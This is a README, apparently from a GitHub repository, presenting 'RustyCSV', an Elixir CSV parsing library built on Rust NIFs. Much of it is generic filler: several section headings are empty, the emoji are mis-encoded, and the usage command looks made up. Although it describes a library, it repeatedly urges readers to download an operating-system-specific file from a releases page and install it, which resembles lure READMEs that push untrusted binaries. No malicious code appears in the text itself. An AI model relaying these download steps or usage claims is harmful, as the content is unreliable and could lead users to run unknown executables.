anonsourabh

πŸš€ RustyCSV - Fast and Simple CSV Parsing

Download RustyCSV

πŸ“¦ Introduction

Welcome to RustyCSV! RustyCSV offers high-performance parsing for CSV files in Elixir. It uses Rust Native Implemented Functions (NIF) to provide speed and efficiency. With SIMD acceleration, parallel parsing, and bounded-memory streaming, RustyCSV serves as a powerful alternative to NimbleCSV.

πŸ“‹ Features

πŸ”§ System Requirements

To run RustyCSV smoothly, ensure your system meets the following requirements:

If you need help setting up Rust, visit the official Rust installation guide.

πŸš€ Getting Started

To begin using RustyCSV, follow these easy steps:

  1. Visit the Releases Page: Click here to download RustyCSV.

  2. Download the Latest Release: On the releases page, find the latest version of RustyCSV. Look for a file that matches your operating system. Click the link to download the file to your computer.

  3. Locate the Downloaded File: Once the download is complete, go to the folder where your browser saves files. You should see the RustyCSV file ready for installation.

πŸ“₯ Download & Install

Find the latest version of RustyCSV on our releases page:
Download RustyCSV

  1. Once you are on the releases page, click on the version number of the release you want to download.
  2. Find the appropriate file for your system (it will be labeled clearly).
  3. Download the file by clicking on it. Depending on your setup, it might take a few moments.

βš™οΈ Building from Source (Optional)

If you prefer to build RustyCSV from source, follow these steps:

  1. Clone the Repository: Open your terminal and run the following command:
    git clone https://github.com/anonsourabh/RustyCSV.git
    
  2. Navigate to the Folder: Change into the RustyCSV directory:
    cd RustyCSV
    
  3. Install Dependencies: Ensure all dependencies are installed.
    mix deps.get
    
  4. Compile the Project: Compile the project using:
    mix compile
    
  5. Run the Program: After compiling, run RustyCSV with:
    mix run
    

πŸš€ Usage

Once you have RustyCSV, you can begin parsing CSV files. Here is a simple usage example.

  1. Basic Command: Run RustyCSV in your terminal with the path to your CSV file:
    mix run lib/rustycsv.exs path/to/your/file.csv
    
  2. Output Options: You can specify output formats and other options within the command.

πŸ“š Support and Troubleshooting

If you run into issues, start by checking the following:

For additional help, consider checking the open issues on our GitHub page, where other users might have faced similar challenges.

πŸ“ Contributing

Contributions to RustyCSV are welcome! If you want to help improve the project:

  1. Fork the Repository: Click the β€œFork” button on the top right of the GitHub page.

  2. Make Changes: Create a new branch for your changes:
    git checkout -b feature/YourFeatureName
    
  3. Submit a Pull Request: Once your changes are complete, submit a pull request describing what you did and why.

πŸ”— Learn More

Explore more about RustyCSV and dive deeper into CSV parsing:

Thank you for choosing RustyCSV! Enjoy faster CSV parsing.